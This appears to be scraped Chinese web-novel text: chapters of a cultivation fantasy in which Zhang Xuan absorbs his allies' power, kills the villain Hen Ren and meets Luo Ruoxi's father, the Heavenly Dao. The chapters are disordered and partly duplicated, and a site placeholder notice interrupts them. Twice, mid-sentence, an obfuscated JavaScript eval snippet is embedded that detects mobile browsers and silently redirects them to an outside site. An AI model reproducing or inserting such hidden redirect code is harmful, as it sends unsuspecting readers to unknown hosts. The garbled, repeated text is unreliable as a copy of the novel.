“这……”张悬皱眉,正想说些什么,就见孔师目光炯炯的看过来:“不用推辞了,先说时间来不及,去培养其他人,就算来得及,我也觉得未必有人能比你做得更好!灵犀帝尊体内虽没有天道碎片,却常年掌控天道,对天道有着属于自己的理解;我掌控天道有序,如果我们将力量灌输给你,你体内就会拥有完整天道的力量!配合上分身的九天混沌金莲,完全可以做到定九天,掌乾坤,战九霄,灭万物!” “好吧!” 见对方已经做出决定,自己解释再多也无用,张悬点了点头。 轰隆! 盘膝做好,一眨眼功夫,两股雄浑的力量,就从两侧灌涌而来。 张悬全身一僵,整个人仿佛刹那间化身天道,翱翔在九天之上。 灵魂、肉身、真气,都在瞬间得到了洗礼,越来越强,越来越雄浑。 …… “你们也想拦我?也好,杀了你们,再去将张悬斩杀……” 将洛七七和分身等人拍飞,狠人冷冷一笑。 分身和诸多帝君联合施展而出的力量,的确很强大,不过,和他比,依旧弱了一些。 潮汐海将神界出了城市外的灵气,几乎全部吞噬干净,现在这些力量,都化作他的寄养,举手投足,带着毁灭天地的能力,这些帝君、神王,尽管代表了神界最巅峰,依旧不堪一击。 此时的狠人,仿佛代表了整个神界,无人能挡。 “神界灭亡,我们活着也没意义,我云螭,与你同归于尽……” 云螭大帝变化出本体,一头巨大的五爪金龙,凌空向他扑了过去。 “就你?不配!” 狠人手掌一捏,金龙就挂在掌心,无论如何挣扎,都逃脱不掉。 “老友,等我!” 扶猛帝君也一声大吼,变化出白虎本尊,凌空来到跟前。 不死帝君,不死火凤本尊显示出来,火焰照耀天空。 玄冥大帝,本尊乃一头大龟,宛如托举着诸天。 四大神兽,镇守神界四极,同时变化本体,崩塌的神界,都变得缓慢下来。 乾坤仿佛在瞬间定住。 嘭嘭嘭嘭! 连续四掌,狠人将四兽**下来,眼中闪过一道浓烈的杀意:“既然你们找死,我就成全你们……” 咆哮声中,正想下死手将众人全部抹杀,就感到扬起的手臂一紧,在空中停了下来。 “想要杀他们,问过我没有……” 随即,众人震惊的目光中,一个人影从空中缓步走了出来。 正是张悬! 此时的青年,全身力量澎湃,比刚才强大了十倍不止,自天而来,宛如整个人就是一个世界。 “进步了不少……” 狠人停了下来,目光凝重。 他显然也没明白,为何短短几分钟的光景,对方的实力有了如此巨大的变化。 “不过,增加了又如何?全盛期的神界,都抵挡不住,我不信,你能挡得住我……” 一声冷哼,狠人再次拍落而下。 张悬长剑扬起,迎了上来。 双方战斗在一起,空间一道道撕裂,气流四处乱窜。 “张悬能不能获胜?” 自在天孔师驻地,洛若曦满是担忧的看过去。 她和孔师将力量传递给张悬,自身修为,已经降低到只有神王级别,不如之前那么辉煌了。 不过,级别在哪里摆着,只要力量足够,终有一天,可以重新恢复。 “凭借现在的实力,想要胜过……很难!除非……他能领悟超越帝君的力量!” 沉默了片刻,孔师道。 十几个帝君联合,都无法胜过狠人,即便他们将力量全部传递给对方,想要胜过,也没那么容易。 之所以这样做,是因为……力量只有集中在一人身上,才有可能触碰到顶点,才有可能真正超越极限,突破自我! “超越帝君的力量?” 洛若曦眼神悠远。 父亲还清醒的时候,曾和她说过同样的话,但……她无法做到,自己心爱的男子,能够做到吗? “他一定能……他有着一颗不屈的心!和对这个世界的傲然。” 看出她心中的疑问,孔师笑道。 …… 嘭嘭嘭! 连续几招下来,张悬虎口开裂,胸口出现了一道巨大的伤痕,狰狞可怖。 和孔师说的一样,即便融合了他们二人的力量,体内形成了完整的天道,依旧不是对手。 “哈哈,还以为多厉害,不过如此!”狠人冷冷一笑。 “反正不是你的对手,早晚都会**,既然如此,我想死在你最强的攻击之下……”深吸一口气,张悬停了下来,不在进攻,反而看向眼前的狠人。 “好,我成全你,给你最强的攻击……” 听他这样说,狠人愣了一下,随即冷哼一声,手掌扬起。 哗啦! 一道青光出现在掌心,猛地拍落而下。 果然是最强攻击,整个神界都发出轰鸣,宛如快要承受不住,再次被打出一个巨大的坑洞。 双眼紧闭,张悬并未躲避。 嘭! 脑袋炸裂开来,灵魂四处溃散。 “张悬……”看到这一幕,所有人都脸色一白。 洛七七宛如发疯。 云螭大帝等人也瞪大眼睛,不停哆嗦。 看到这一幕的孔师和洛若曦也全都一愣。 本意是让他突破桎梏,冲击超越帝境境界的,怎么不去反抗,甘心赴死? 这样,岂不辜负了他们的一番好心? “不对,是不死帝君的不死之法……” 正在奇怪,孔师突然开口。 众人随即看到,脑袋炸开,甚至灵魂碎裂的张悬,胸口的吊坠陡然炸开,一滴血液悬浮而起,燃烧起来,形成了一团炙热的火焰,火焰中,一具完好无损的身影,缓步而出。 “他……借助对方的力量,和吊坠中的血液,将天道有缺和灵魂分离了?” 洛若曦瞳孔收缩。 浴火重生后的张悬,体内竟然没了天道图书馆,没了天道的干扰,脱离了天道! “他怎么做到的?” 孔师也满是不敢相信。 天道和灵魂融合在一起,不分彼此,为了摆脱,他不得不魂飞魄散,借助幽魂池重新凝聚魂魄。 眼前这位,只被斩杀了一下,就彻底摆脱,用了什么办法? “我知道了……他用了狠人摆脱灵魂契约的办法……”洛若曦反应过来。 灵魂契约绑定主人和仆人,主人不解除,仆人就永远受制……天道图书馆也是这样,可以说是一种增强版的契约。 绑定了灵魂,不死不会脱离。 但……狠人借助那种特殊力量摆脱了灵魂契约,具 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“你……”狠人没想到,自己的全力攻击,非但没将其斩杀,反而成全了他,气的“哇哇!”乱叫,一声怒喝,再次攻击下来。 “你怨恨高高在上的帝君,没在空间乱流中救下自己,是情;觉得曾是我的仆人,蕴含卑微和愤怒,是情;想要毁灭神界,发泄愤怒,是情;想要变得更加强大,同样是情……情感控制着你,你又如何胜得过我,不被我控制?” 淡淡一笑,张悬的声音越来越快,越来越响亮,手掌轻轻一抓。 原本纵横无敌的狠人,就被无数情感细线,禁锢在一起,束手束脚,无法动弹。 只要有情,就要被他所用,被他控制! “你……” 狠人眼中满是惶恐:“张师,我是你的仆人,不要杀我……我愿意灵魂献祭……” “现在再说这些,已经晚了……”微微一笑,张悬摇了摇头。 掌控天下之情,仆人之类对于他来说,已经没任何意义了。 杀了神级这么多人,伤了自己的女朋友,洛七七以及这么多朋友,今天,又怎么可能宽恕! “不……” 感受到他的果决,狠人瞳孔收缩,话音未结束,立刻感到身上一阵剧烈的疼痛。 嘭! 一刹那间,**开来,化作无数灵气,向神界各处灌涌。 之前,潮汐海吞噬掉的所有力量,此时全部反哺回来,已经枯竭的荒野,重新焕发生机。 “这……” “这样就杀了?” 云螭大帝、不死帝君、玲珑仙子啊等人,全都瞪大了眼睛,不敢相信。 刚才他们和狠人交过手,知道可怕,这么强大的人,竟然随手覆灭,这位张悬……到底达到了何种地步? 难道帝君之上,真的还有另外的境界? “他成功了……” 孔师和洛若曦,松开捏紧的拳头。 “这是天道的一部分,那我现在就归还天道……” 看到刚才从自己体内,被分离出来的“天道有缺”,依旧在空中悬浮,张悬轻轻一笑,屈指一弹。 嗡! 从重生就伴随他的图书馆,轰然镶嵌在神界的天空之上。 大钟般的鸣响,不断崩溃的神界,肉眼可见的缓慢恢复,混乱的气流,也重新聚拢起来。 崩塌的神界,终于停了下来,干枯的灵气,也伴随狠人的死亡,慢慢复苏。 “看来,神界要重新迎接灵气复苏时代了……”张悬一笑。 潮汐海的窟窿,伴随天道的补全,已经恢复,神界恢复以前的盛况,只是时间问题。 “张悬,这边来……” 刚做完这些,脑中响起一个声音,张悬愣了一下,一步跨出。 这一步,不知飞了多远,随即看到一个青年站在面前。 正是之前传授自己剑法的那位。 “前辈,你……” 看到是他,张悬一愣。 之前就觉得这位,深不可测,现在才发现,比起自己,也只差了一丝而已,已然达到了帝君的最巅峰,比起之前的洛若曦,都强大不知多少。 “直呼我名字即可,我叫……聂铜!”青年身上散发出一往无前的剑意,淡淡道。 “聂铜?”张悬皱了皱眉。 第一次听到这个名字。 “跟我来,带你见我哥哥!”叫做聂铜的青年莞尔一笑,向前跨步而出。 张悬紧跟在身后,不知飞了多远,在一个山峰前停了下来。 随即看到了另外一个青年。 容貌比他大不了多少,双眉上扬,给人一种深邃不可看穿之感。 “这实力……”张悬一颤。 眼前这位青年的实力,竟然比他还要强大,同样突破了帝君的桎梏,而且修为更加深远厚重! “在下,聂云!”青年淡淡一笑,看了过来:“也就是……聂灵犀,你口中洛若曦的父亲!” “若曦的父亲?” 张悬一震:“你……是神界天道?” 之前洛若曦说过,自己的父亲,是天道,怎么都想不到,是这样一个年轻人。 “我一气化三清,一部分灵魂,变成了天道!再说,这个世界,是我创造的,说我是天道也无不可!”聂云淡淡一笑。 张悬不敢相信。 神界竟然是眼前这人创造的? 那他的实力,该有多强? “不对,如果神界是你创造的,你又是天道,为何任由狠人肆虐,而不出手……”张悬看过来。 如果不是自己突破,神界极有可能彻底崩塌,为何眼前这人,不管不问? 甚至连女儿的生死,都关心? 没回答他的问题,聂云淡淡的看过来:“你认为……神界之上,还有更加强大的生命吗?” “这……”张悬停顿了一下:“应该有吧……” 虽然没见过,但既然他能修炼到这种境界,或许其他人也可以,甚至更强。 就好像眼前这位。 “我曾怀疑,神界之上会有更强大的生命,所以用尽全力窥视,最终引来了更高世界的反噬……一个手掌破空而下!” 聂云看过来:“当时如果我躲闪,极有可能整个神界都会被抹平,再没有半个生命……所以,挡下了这招,但也因此,化身的天道被**出去。” “这种情况,我想恢复,只是一道意念而已,但……我明白,想要真正超脱神界桎梏,去探索手掌由何而来,神界之外,又有什么……单靠我一人很难做到。所以,想要看看,有没有生命,能够突破帝君桎梏,达到和我平齐的地步!” “所以,就将分散的天道意念,送到最底层的世界……分别赐予原本属于这个世界的灵魂,和一个不属于这个世界的灵魂。而你,最终没让我失望!” 聂云笑道。 “不属于这个世界的灵魂,这样说来,我穿越,也是因为你?”张悬心中一震。 难怪,能够穿越过来,没想到都是眼前这位所为。 “呵呵!”聂云轻轻一笑,道:“本身属于这个世界,就有着对世界的敬畏,想要突破世界桎梏,难度要大得多,我也是心念一动,并没想到,你真的能够成功……” “我……”张悬脸色一红:“如果不是孔师,我根本不可能达到这种地步……” 没有孔师的无私奉献,想要达到现在的境界,根本不可能做到。 “机会我给他了,没把握住而已。和灵犀的比斗,其实就是他突破的最佳机会,可惜,他选择了退避,以为自己留了后手,可以全身而退,实际上却是失去了勇猛精进,面对超越我们的人,如果连这点精神都没有,又如何能够与之抗衡?” 聂云道。 张悬沉默不语。 当时二人的战斗,他都看在眼里,孔师的确在果决上有些欠妥。 也有可能,他不愿意斩杀洛若曦吧。 可惜,就这一念之间,错过了晋级的机会。 “如果孔师获胜,若曦就会死……”片刻后,张悬看过来,眉毛皱起。 难不成,眼前这位连女儿的生死都不管了? “有我在,她不会死……”聂云淡淡一笑:“你现在的实力,和我也差不了多少了,你觉得二人的实力,生死关头,想要救人,能不能做到?” “这……”张悬苦笑。 突破帝君,和帝君,是两个概念,如果他真的愿意出手,的确可以在最后关头将人救下,而且保证,一点伤都受不了。 “灵犀,是我另外一个妻子洛倾城所生,所以她伪装的名字,姓洛……为了能让她相信,不感情用事,到现在一直以为我还陷入昏迷……” 聂云苦笑一声:“我这个爹也算做得够狠了……这样吧,这件事还是你和她解释吧,毕竟,她现在的心思,已经转移到你身上了,我这个老爹,估计都想不起来了……哈哈,我暂时就不出现了,躲避上一段时间再说,不然,真怕她闹得天翻地覆……” 看到眼前这位如此不靠谱的老爹,面皮一抽,张悬只好答应:“好吧……” 不答应也没办法,谁让自己拐走了人家的女儿…… “天道图书馆,是我一道意念所化,是根基,也是桎梏,你能靠自己的能力,突破桎梏,说明了能力和潜力,将来前途无量,我女儿能和你在一起,做父亲的,也算欣慰了。” 正在手打中,请稍等片刻,内容更新后,请重新刷新页面,即可获取最新更新! 第195章螳螂捕蝉 灵魂契约,契合灵魂,只要自己不解除,哪怕对方手段通天,都无法化解。 就好像不死帝君小黄鸡,之前只是神王,他是帝君,同样没办法解决这种约定。 为了防止这家伙变卦,出现反噬的现象,名师大陆就曾专门定下,即便对方可以脱离天道之册,也无法挣脱灵魂间的约定啊! “灵魂契约,的确无法从识海中**出去,但我融合了连天道都可以化解的特殊气体,将这种契约化解掉,并不难……只要有足够力量,轰击契约所在之处,就能做到!” 狠人道。 灵魂契约,是建立在天道基础上的,特殊力量连神界天道都能化解,化解个灵魂契约,只要处理得当,又有何难? “原来如此……”张悬目光一闪。 “和你说这么多,也算感谢将我带到神界了!” 解释完,狠人不再多说,身上的气息愈发的亘古悠远,身后的黑洞变得更加巨大,显然说话的功夫,又吞噬了不知多少力量,做了滋补。 “张悬,黑洞吞的越多,他的实力越强……” 洛若曦也发现了不对劲,急忙传音过来。 “准备动手吧!”心中疑惑尽消,张悬深吸一口气,手中长剑,陡然扬起:“既然如此,那就手底下见真章吧!” 轰隆! 最强大的剑意,再次施展而出。 生当复来归,死当长相思! 生死皆不在乎,又有何事可以阻拦? 这一招剑法,虽然是没达到帝君领悟的,却蕴含了心中的一切执念,将体内的天若有情**,发挥到了极限。 呼! 一剑将狠人的攻击,斩成两半。 同一时刻,洛若曦也出手了,玉手翻滚,剑芒如雪。 她的剑法和剑神天的那位青年有些相似,带着一往无前的气势,和大道自然的潇洒。 “你们的招数是很厉害,但对比我,还是差了些……” 轻轻一笑,狠人再次向下抓来。 一瞬间,遮天蔽日,手掌将天地都笼罩了,空间碎裂,日月星辰都仿佛要被硬生生打下来。 噗!噗! 张悬和洛若曦同时倒飞而出,人在空中鲜血狂喷。 以二人的实力,竟然抵挡不住! 这家伙到底达到了何种境界? “放肆!”分身大步踏来,每走一步,就有莲花绽放,虚空中带着流水的声音。 远远看去,逼格十足。 炼化九天混沌金莲,他的修为比起张悬,丝毫不弱。 一拳扬起,力量冲上九天。 和狠人对碰,同样倒飞而出,挡不住一招。 张悬捂住额头。 成就帝君了,分身依旧不改装逼的本性…… 这么绚丽的装逼,还不如将力量集中起来,威力更大! “一起出手,不然,他们**,我们都会死……” 小黄鸡一声大喝,赤红的的火焰燃烧,天空都像被点燃。 剩下六大帝君,也各自施展手段。 七位帝君联合,毁天灭地,一方天地在面前都抵挡不住,但对方是吸收了特殊力量的狠人,攻击来到跟前,黑洞陡然变大,眨眼功夫就将力量吞噬干净,紧着着反击而出。 嘭嘭嘭嘭! 七位帝君和张悬等人一样,倒飞而出。 十大帝君,联合在一起,竟然都没挡住对方一招! 这家伙,怎么会这么强大? “你们可以**……” 一招击溃众人,狠人向前一步,手腕一翻,再次拍了下来。 “鼠辈敢尔!” 伴随一声大喝,之前剑神天的那位老者,突兀出现,挡在面前,手中长剑化作银河。 “帝君?他也是帝君实力?” 张悬瞳孔一缩。 这位老者当初跟在青年身后,本以为只是个随从,最多封号神王,施展出力量才发现,竟然也是一位帝君强者! 如果他是帝君,那位青年,是什么? “他本身就是剑神天的帝君……”挣扎站着身来,洛若曦咬牙道。 “那……传我剑法的青年呢?”张悬再也忍不住。 “他是……”洛若曦刚想回答,空间一阵扭曲,随即看到剑神天的这位帝君,同样倒飞了出去,落在不远处,砸出一个大坑。 张悬现在的实力,和对剑道的领悟,远超过他,都抗衡不住,他即便修为不弱,剑术高明,依旧不是对手。 “哈哈,帝君,一群土鸡瓦狗而已!今天我就灭了九天,灭了这神界,将一切规则踏平!” 将剑神天的帝君击败,狠人疯狂大笑,四周的空间不停坍塌,衬托的他如妖如魔。 “怎么办?”张悬拳头捏紧。 刚才他和分身,都施展出最强战斗力了,甚至眼前的洛若曦,也将最强招数使用了出来,都没挡住对方的一招…… 难道神界,真的没人能够挡住眼前这位? 任由他将世界毁灭? “唯一的办法……是将你的天道有缺,回归天道本身,让天道将他**……”洛若曦秀拳捏紧,眼眶泛红。 “回归天道本身?”张悬知道她的意思。 脑海中的图书馆,本身是天道的一部分,一旦回归,天道就等于彻底完整了,或许就可以修复漏洞,自我将狠人排斥出去。 就好像人体的免疫系统。 免疫系统完整,病毒来了,轻易驱赶;坏了,抵抗不住病毒入侵,再强壮的人,也会因此死亡。 只是…… “他太强大了,即便天道恢复完整,也无法**吧!”张悬摇头。 病毒,免疫系统是可以斩杀,但……猛虎呢? 再强的免疫系统,又有什么办法? 眼前这位,只是普通神王,哪怕封号,天道都可以轻易杀死,可比帝君都要强大……已然不是天道可以抗衡的了。 “这……”洛若曦停顿了一下,洁白的玉面上露出失落之色:“是啊……没办法**,但是,天道完整,他就能醒过来,斩杀这位,并不难!” “他?”张悬皱眉。 “我带你去见他,就在自在天……”深吸一口气,洛若曦一咬牙,转身就向前飞去。 “想逃?”狠人冷哼,向下一按。 嘭! 洛若曦从空中坠落。 “你……”张悬剑法再次施展出来,剑意辉煌而出。 叮叮叮! 再次被狠人挡住。 “你们快走,我来挡住他……” 知道他们再想拯救神界的方法,而不是逃走,分身和不死帝尊,一声大喝挡在前面,洛七七也摇身一变,回归静空珠本体。 四周的空间凝固起来。 “走!” 见众人奋不顾身挡在后面,无畏惧死亡,张悬眼眶一红,不过,也知道现在不是多说的时候,一拉洛若曦,身体一晃,划破空间,下一刻已经出现在了自在天的范围。 自在天现在已经没了之前的自在,神界崩塌,四处一片混乱。 “你说的他,在哪里?” 没空去观察普通人的生活,张悬看向怀中的女孩。 如果她说的那人,真能拯救神界,自己牺牲又何妨! “他是我的父亲,你吊坠中的血液,就是他的,不死帝君,曾是他的兽宠……”洛若曦调息了一下,解释道。 “父亲?” 张悬恍然大悟。 难怪一直觉得吊坠中的血液和洛若曦相似,却又不同,原来是她父亲的。 这样也就解释了,为何不死帝君留下的那道意念,看到吊坠后,立刻认自己为主。 “你父亲也是帝君?或者拥有超越帝君的实力?” 忍不住道。 图书馆混乱,是吊坠中的血液,让自己恢复清醒,难不成,不仅她是帝君,父亲也是,甚至更加强大? 如果是这样的话,又为何会昏迷? 又需要天道有缺,才能让其清醒? “他不是帝君,而是……天道!” 洛若曦秀拳捏紧。 “天道?你父亲……是天道?”张悬一震,不敢相信。 “是!五十年前,父亲抵挡不住那只大手,陷入昏迷,天道崩散成三部分,天道有序和天道有缺,进入空间乱流,我代为掌控天道自然,维持神界的平衡。想要让他恢复,只有将散开的部分收集……所以,我才如此决绝,不能失败!才专门进入名师大陆,研究春秋大典,想办法战胜孔师!和孔师战斗的时候,拜托他的事,也是这个。” 洛若曦道。 张悬恍然。 名师大陆刚认识不久,眼前的女孩,就和自己讲述过她的故事,要救一位至亲,自己当时还不明白,现在才恍然大悟。 竟然是她父亲,而且还是神界天道! 天道真的能够化成人形,并且生儿育女吗? “代为掌控天道自然……你体内,没有天道碎片?”突然,意识到她语言中的不对劲,张悬看过来。 代为掌控,和自己这种融合在体内,是两种概念。 “我只是掌控,并不是天道的一部分……”洛若曦道。 张悬松了口气。 这样说起来,只需要自己将天道有缺剥离出来就行了,并不需要她也死亡。 尽管这种命运,不愿意接受,却也不愿意眼前的女孩,受到伤害。 “我将体内的天道有缺剥离出来,你父亲就能活过来,甚至将狠人击杀是吧?”张悬看来。 “这……我也不确定……” 抬头看了看已经崩塌的神界,洛若曦迟疑。 神界是父亲的根基,现在根基都这样了,就算清醒,真的能够将那个强大的狠人击败吗? 真不好说! “看来你也不能肯定,既然如此,求人不如求己……我们只有自己想办法!”张悬咬了咬牙:“你、我、分身,联合九天九帝,如果在配合上孔师,未必不能获胜!” “孔师?他……”洛若曦皱眉。 “孔师已经**是吧!他并未真正死亡,如果猜的没错,他被你斩杀,只是用来脱离天道的方法……不出意外,他应该和魏长风一样,是【先天胎魂体】!” 张悬道。 看到魏长风,就明白过来,孔师所谓的保持灵智,应该和他一样,是先天胎魂体。 可以做到胎中不迷。 再加上提前留下的后手,复活,只是时间问题。 洛若曦愣住,似乎她没想到,会是这样。 “过去看看就知道了,猜的不错,他应该已经恢复,不然,他的那些学生,不可能连潮汐海都没去……”张悬道。 孔师的那些学生,子渊古圣等人,个个实力强劲,就算没有帝君帮助,也必然有办法进入潮汐海,可却一个都没见。 必然是有更重要的事情等着,想要趁所有帝君去潮汐海无暇顾及的时候去做! 而这种重要的事,明显就是让孔师恢复。 “这……”洛若曦心中一震,恍然大悟。 “走吧!” 不再解释,单手一划,张悬重新来到孔师居住的所在,果然看到一个老者盘膝悬浮在空中,见他们来到,微微一笑:“来了!” 不是孔师,又是何人! 这位万世之师,果然没让自己失望! 和猜测的一样,趁着所有人都将注意力集中在潮汐海的时候,重新复活了。 “你……”洛若曦娇躯一震。 她知道帝君可以复活,不死帝君也活过来了,但……没想到速度这么快! “我隐瞒天道,提前就准备了后手,幽魂池中的那个没有名字的巨人,就是我留下的,当日被你斩杀,我借机摆脱了天道的束缚,重新凝聚肉身,现在也刚刚恢复罢了!” 孔师微微一笑。 他精通时间能力,看起来神界只过了一、两天,实际上为了恢复力量,经历了不知多久。 几十年的时光,都有了。 “我们三人的实力,是很强,但想要胜过狠人,也没那么容易……” 见孔师果真恢复,洛若曦依旧摇头。 不是涨他人威风,灭自己志气,而是事实。 刚才这么多人联合,都没挡住对方,即便增加一个孔师,又能如何? 同样改变不了局面! “我们单个的实力,甚至联合在一起,的确不是对方的对手,但……如果将所有人的力量,都融合在一个人的身上呢?” 孔师笑着看过来。 “融合在一个人身上?” 这次不光洛若曦皱眉,张悬也满是疑惑。 “那个手掌能够撕裂神界,将天道都打散,实力之强,不容置疑,狠人将这股力量全部吸收,又吞噬了神界五十年的灵气,单凭实力,我们十几位帝君,单个拿出来,的确不是对手……” 孔师道:“但联合在一起,将力量集中在一人身上……就未必了吧!” “如何集中?” 洛若曦看过来。 说的简单,做起来难。 帝君已经站在神界最巅峰了,如果这么容易吸收别人的力量,她也不至于这么多年,停滞不前。 “很简单……我们将身上的力量,集中在张悬身上,一旦他能冲破帝君桎梏,就能救下神界!” 孔师道。 “我?”张悬一愣:“为什么是我?” “灵犀帝尊修炼的是自由自在,超脱自然!但有了父亲和天道的制约,有了牵挂的人,就永远没办法真正超脱!如果我没看错,当初和我战斗的时候,你也曾放弃过,打算被我斩杀吧!” 孔师道。 洛若曦说不出话来。 战斗的时候,的确有过这种打算,所以二人的交手,刚开始的时候,各自留着后手,宛如切磋,不像生死搏斗。 “无法超脱,自然也就发挥不出最强力量,即便给与再多的真气,同样无法冲击那至高的境界!至于我……” 孔师点头道:“心怀苍生,想要普度天下,却不愿意别人为我牺牲,仁慈太多,也是缺点!如果心狠一些,将异灵族灭族,就不会有现在的局面……” 当初如果能将异灵族人全部灭杀,狠人就不可能复活,也不会有现在的情况。 “所以,我也不适合!而张悬,**顺心,没有缺陷。讲究活出自我,哪怕身死,只要活得无愧,就心中坦荡。这种人拥有更大的包容,更大的发展空间,只有这样,才能走的更高,更远!” 孔师继续道。 生当复来归,死当长相思! 连死亡都不在乎,又怎么会被其他事情所羁绊? “这……”张悬皱眉,正想说些什么,就见孔师目光炯炯的看过来:“不用推辞了,先说时间来不及,去培养其他人,就算来得及,我也觉得未必有人能比你做得更好!灵犀帝尊体内虽没有天道碎片,却常年掌控天道,对天道有着属于自己的理解;我掌控天道有序,如果我们将力量灌输给你,你体内就会拥有完整天道的力量!配合上分身的九天混沌金莲,完全可以做到定九天,掌乾坤,战九霄,灭万物!” “好吧!” 见对方已经做出决定,自己解释再多也无用,张悬点了点头。 轰隆! 盘膝做好,一眨眼功夫,两股雄浑的力量,就从两侧灌涌而来。 张悬全身一僵,整个人仿佛刹那间化身天道,翱翔在九天之上。 灵魂、肉身、真气,都在瞬间得到了洗礼,越来越强,越来越雄浑。 …… “你们也想拦我?也好,杀了你们,再去将张悬斩杀……” 将洛七七和分身等人拍飞,狠人冷冷一笑。 分身和诸多帝君联合施展而出的力量,的确很强大,不过,和他比,依旧弱了一些。 潮汐海将神界出了城市外的灵气,几乎全部吞噬干净,现在这些力量,都化作他的寄养,举手投足,带着毁灭天地的能力,这些帝君、神王,尽管代表了神界最巅峰,依旧不堪一击。 此时的狠人,仿佛代表了整个神界,无人能挡。 “神界灭亡,我们活着也没意义,我云螭,与你同归于尽……” 云螭大帝变化出本体,一头巨大的五爪金龙,凌空向他扑了过去。 “就你?不配!” 狠人手掌一捏,金龙就挂在掌心,无论如何挣扎,都逃脱不掉。 “老友,等我!” 扶猛帝君也一声大吼,变化出白虎本尊,凌空来到跟前。 不死帝君,不死火凤本尊显示出来,火焰照耀天空。 玄冥大帝,本尊乃一头大龟,宛如托举着诸天。 四大神兽,镇守神界四极,同时变化本体,崩塌的神界,都变得缓慢下来。 乾坤仿佛在瞬间定住。 嘭嘭嘭嘭! 连续四掌,狠人将四兽**下来,眼中闪过一道浓烈的杀意:“既然你们找死,我就成全你们……” 咆哮声中,正想下死手将众人全部抹杀,就感到扬起的手臂一紧,在空中停了下来。 “想要杀他们,问过我没有……” 随即,众人震惊的目光中,一个人影从空中缓步走了出来。 正是张悬! 此时的青年,全身力量澎湃,比刚才强大了十倍不止,自天而来,宛如整个人就是一个世界。 “进步了不少……” 狠人停了下来,目光凝重。 他显然也没明白,为何短短几分钟的光景,对方的实力有了如此巨大的变化。 “不过,增加了又如何?全盛期的神界,都抵挡不住,我不信,你能挡得住我……” 一声冷哼,狠人再次拍落而下。 张悬长剑扬起,迎了上来。 双方战斗在一起,空间一道道撕裂,气流四处乱窜。 “张悬能不能获胜?” 自在天孔师驻地,洛若曦满是担忧的看过去。 她和孔师将力量传递给张悬,自身修为,已经降低到只有神王级别,不如之前那么辉煌了。 不过,级别在哪里摆着,只要力量足够,终有一天,可以重新恢复。 “凭借现在的实力,想要胜过……很难!除非……他能领悟超越帝君的力量!” 沉默了片刻,孔师道。 十几个帝君联合,都无法胜过狠人,即便他们将力量全部传递给对方,想要胜过,也没那么容易。 之所以这样做,是因为……力量只有集中在一人身上,才有可能触碰到顶点,才有可能真正超越极限,突破自我! “超越帝君的力量?” 洛若曦眼神悠远。 父亲还清醒的时候,曾和她说过同样的话,但……她无法做到,自己心爱的男子,能够做到吗? “他一定能……他有着一颗不屈的心!和对这个世界的傲然。” 看出她心中的疑问,孔师笑道。 …… 嘭嘭嘭! 连续几招下来,张悬虎口开裂,胸口出现了一道巨大的伤痕,狰狞可怖。 和孔师说的一样,即便融合了他们二人的力量,体内形成了完整的天道,依旧不是对手。 “哈哈,还以为多厉害,不过如此!”狠人冷冷一笑。 “反正不是你的对手,早晚都会**,既然如此,我想死在你最强的攻击之下……”深吸一口气,张悬停了下来,不在进攻,反而看向眼前的狠人。 “好,我成全你,给你最强的攻击……” 听他这样说,狠人愣了一下,随即冷哼一声,手掌扬起。 哗啦! 一道青光出现在掌心,猛地拍落而下。 果然是最强攻击,整个神界都发出轰鸣,宛如快要承受不住,再次被打出一个巨大的坑洞。 双眼紧闭,张悬并未躲避。 嘭! 脑袋炸裂开来,灵魂四处溃散。 “张悬……”看到这一幕,所有人都脸色一白。 洛七七宛如发疯。 云螭大帝等人也瞪大眼睛,不停哆嗦。 看到这一幕的孔师和洛若曦也全都一愣。 本意是让他突破桎梏,冲击超越帝境境界的,怎么不去反抗,甘心赴死? 这样,岂不辜负了他们的一番好心? “不对,是不死帝君的不死之法……” 正在奇怪,孔师突然开口。 众人随即看到,脑袋炸开,甚至灵魂碎裂的张悬,胸口的吊坠陡然炸开,一滴血液悬浮而起,燃烧起来,形成了一团炙热的火焰,火焰中,一具完好无损的身影,缓步而出。 “他……借助对方的力量,和吊坠中的血液,将天道有缺和灵魂分离了?” 洛若曦瞳孔收缩。 浴火重生后的张悬,体内竟然没了天道图书馆,没了天道的干扰,脱离了天道! “他怎么做到的?” 孔师也满是不敢相信。 天道和灵魂融合在一起,不分彼此,为了摆脱,他不得不魂飞魄散,借助幽魂池重新凝聚魂魄。 眼前这位,只被斩杀了一下,就彻底摆脱,用了什么办法? “我知道了……他用了狠人摆脱灵魂契约的办法……”洛若曦反应过来。 灵魂契约绑定主人和仆人,主人不解除,仆人就永远受制……天道图书馆也是这样,可以说是一种增强版的契约。 绑定了灵魂,不死不会脱离。 但……狠人借助那种特殊力量摆脱了灵魂契约,具 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16199485|177619||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 体方法,张悬之前详细询问过,恐怕那时就动了心思。 这才故意拼死,让其施展出最强力量对他攻击。 借助这种力量,浴火重生,没想到,果然大获成功! “原来如此,这才是突破帝君的方法……” 从火焰中走出的张悬,脸上露出淡淡的微笑,像是明白了什么,突然一招手,一侧的分身,立刻重新变成一朵莲花,飞了过来。 刹那间,与自身完美融合。 一眨眼功夫,众人感觉,眼前的张悬,像是变成了九天,九天就是他。 脚掌在地上轻轻一踏。 混乱的九天,立刻稳定下来。 九天混沌金莲,九天诞生时出现,能够稳定九天,此时分身和自我完美融合,不分彼此,也就等于他掌控了这种力量。 不仅如此,融合了九天混沌金莲的修为,他本就达到巅峰的境界,出现了松动,似乎随时都会突破。 “主仆情、兄弟情、师生情、父母情、爱情……融合在一起,原来就是世间万物,这才是人!” 面带微笑,张悬喃喃自语。 天道图书馆脱离灵魂的刹那,他明白过来。 